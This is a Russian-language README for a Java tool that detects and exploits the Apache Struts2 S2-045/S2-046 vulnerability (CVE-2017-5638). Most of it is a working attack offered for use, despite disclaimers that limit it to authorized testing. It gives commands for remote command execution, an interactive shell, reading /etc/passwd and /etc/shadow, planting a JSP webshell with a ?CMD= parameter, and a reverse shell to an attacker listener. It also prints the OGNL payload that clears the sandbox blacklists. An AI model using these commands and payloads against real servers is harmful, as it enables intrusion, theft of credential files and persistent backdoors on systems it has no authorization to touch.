
Struts2 S2-045/S2-046 CVE-2017-5638 инструмент обнаружения и эксплуатации уязвимости
Инструмент обнаружения и эксплуатации уязвимостей S2-045 / S2-046 (CVE-2017-5638) в Struts2, реализованный полностью на Java. Модуль обнаружения охватывает уязвимости S2-045 / S2-046, модуль эксплуатации предоставляет возможности выполнения команд, управления файлами, получения информации, интерактивного Shell, реверс-шелла, загрузки Webshell и другие.
Отказ от ответственности: Данный инструмент предназначен только для авторизованного тестирования безопасности, исследований уязвимостей и учебных целей. Строго запрещено использование в неавторизованных незаконных целях; пользователь несёт всю юридическую ответственность самостоятельно.
| Модуль | Подкоманда | Описание |
|---|
| Обнаружение уязвимостей | scan | Обнаружение S2-045 / S2-046 (математическая проверка + маркировка UUID-отпечатком) |
| Массовое сканирование | batch | Массовое обнаружение нескольких целей, вывод сводки и JSON-отчёта |
| Выполнение команд | exec | Выполнение произвольных системных команд + вывод результата (автоадаптация Win/Linux) |
| Интерактивный Shell | shell | Непрерывное взаимодействие, сохранение каталога cd, встроенные команды pwd/webroot/os |
| Загрузка файлов | upload | Прямая запись через OGNL (малые файлы) / сегментная запись через команды (большие файлы) |
| Скачивание файлов | download | Скачивание в кодировке Base64 (безопасно для бинарных данных) |
| Корневой каталог Web | getpath | Получение физического пути развёртывания веб-приложения |
| Информация о системе | sysinfo | Информация об ОС / пользователе / ядре / рабочем каталоге |
| Реверс-шелл | revshell | Однокомандный реверс-шелл bash / PowerShell |
| Загрузка Webshell | webshell | Генерация и загрузка JSP Webshell (стиль открытого ?CMD=) |
| Экспорт отчётов | scan -r | Отчёты JSON / HTML |
Функция скачивания может читать произвольные файлы на сервере (например,
/etc/shadow), используйте только в авторизованном тестировании.
:: Выполнить в каталоге проекта
.\build.bat
В PowerShell требуется префикс
.\; в cmd можно запускать напрямуюbuild.bat. build.bat отвечает только за сборку и не инициирует никаких сетевых запросов или сканирований. После завершения сборки окно остаётся открытым и переходит в сессию cmd (можно сразу запускать команды инструмента; для закрытия введитеexit). Если ваше окружение не может записывать в репозиторий Maven по умолчанию, сначала задайте переменную окруженияM2_REPO, указав доступный для записи каталог.
Результат: target\s2tool.jar (fat-jar).
Для Linux/Mac см.
build.sh
# 1. Обнаружение уязвимости
java -jar s2tool.jar scan http://target/action
# 2. Обнаружение + экспорт отчёта JSON/HTML
java -jar s2tool.jar scan http://target/action -r both
# 3. Выполнение команды
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"
# 4. Интерактивный Shell
java -jar s2tool.jar shell http://target/action
# 5. Получение корневого каталога Web / информации о системе
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action
# 6. Загрузка / скачивание файлов
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt
# 7. Однокомандная загрузка Webshell (стиль открытого ?CMD=)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# Доступ: http://target/shell.jsp?CMD=whoami
# 8. Реверс-шелл (сначала прослушивание на атакующей машине: nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444
# 9. Массовое сканирование
java -jar s2tool.jar batch targets.txt -r json
# Строки комментариев начинаются с # (игнорируются автоматически)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action
Диапазон версий из официального объявления (оба уязвимости указаны согласно официальным объявлениям Apache, для оценки пользователем, затронута ли цель):
| Уязвимость | CVE | Затронутые версии (уязвимые версии) | Исправленные версии (версии с патчем) |
|---|---|---|---|
| S2-045 | CVE-2017-5638 | Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.10 | 2.3.32 или 2.5.10.1 и выше |
| S2-046 | CVE-2017-5638 | Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.10 | 2.3.32 или 2.5.10.1 и выше |
Данный инструмент не полагается на определение версии, а напрямую определяет наличие уязвимости по результатам проверки Payload, поскольку определение версии ненадёжно (многие сайты скрывают номер версии). Таблица выше приведена только для справки при ручной оценке, она не влияет на логику обнаружения инструмента.
Для S2-046 инструмент поддерживает как путь обнаружения через нулевой байт в filename, так и путь через Content-Type с той же первопричиной.
Принцип уязвимости:
Content-Type; S2-046: filename в Content-Disposition) подставляется в сообщение об ошибке,
которое затем обрабатывается механизмом интернационализированного текста Struts2 (TextParseUtil.translateVariables) и подвергается вычислению OGNL(#nike='multipart/form-data') // Маскировка Content-Type, прохождение проверки contains
(#[email protected]@DEFAULT_MEMBER_ACCESS) // Получение MemberAccess с максимальными правами
(#_memberAccess?(#_memberAccess=#dm): // Низкие версии: прямая замена
((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
(#ognlUtil.getExcludedPackageNames().clear()) // Очистка чёрного списка имён пакетов
(#ognlUtil.getExcludedClasses().clear()) // Очистка чёрного списка классов
(#context.setMemberAccess(#dm)))) // Высокие версии: замена после очистки чёрного списка
Проверено на практике: на Struts2 2.3.30 сокращённая версия (только
setMemberAccess) не может обойти песочницу, необходимо использовать полную версию (включая путь очистки чёрного списка через OgnlUtil).
| Техника | Принцип | Описание |
|---|---|---|
| Математическая проверка | OGNL выполняет 88888888-23333+1222, наличие 88866777 в ответе означает уязвимость | Публичная формула POC |
| Маркировка UUID-отпечатком | Внедрение случайного UUID и вывод его в тело ответа | Высокая точность, не зависит от задержек сети |
| Обнаружение по задержке | Разница времени Thread.sleep(6000) (только для S2-045 как запасной вариант без вывода) | Порог >3.6s |
Правила определения: попадание по математической проверке или маркировке отпечатком → подтверждено наличие; только попадание по задержке → предположительно наличие; нет попаданий → отсутствует.
struts2-vuln-tool/
├── pom.xml # Сборка Maven (shade для fat-jar)
├── build.bat / build.sh # Скрипты сборки (Windows проверен / Linux для справки)
├── src/main/java/com/s2tool/
│ ├── Launcher.java # Главная точка входа (CLI Picocli)
│ ├── core/ # Основной движок: HTTP-клиент / конструирование Payload / анализ ответов / разбор целей
│ ├── plugins/ # Архитектура плагинов уязвимостей (точки расширения)
│ │ └── impl/ # Плагины обнаружения S2_045 / S2_046
│ ├── modules/ # Функциональные модули: планировщик обнаружения / распознавание отпечатков / выполнение команд / управление файлами / Shell и др.
│ ├── report/ # Генерация отчётов (консоль / JSON / HTML)
│ └── utils/ # Инструменты логирования
├── src/main/resources/ # Конфигурация логирования / справочник Payload
└── src/test/ # Модульные тесты JUnit
Статьи о принципе уязвимости и технике:
Справочные проекты с открытым исходным кодом (при разработке данного проекта использовались идеи и Payload из следующих репозиториев):
Только для авторизованного тестирования безопасности и учебно-исследовательского использования.
Строго запрещено использование в неавторизованных незаконных целях; пользователь несёт всю юридическую ответственность самостоятельно.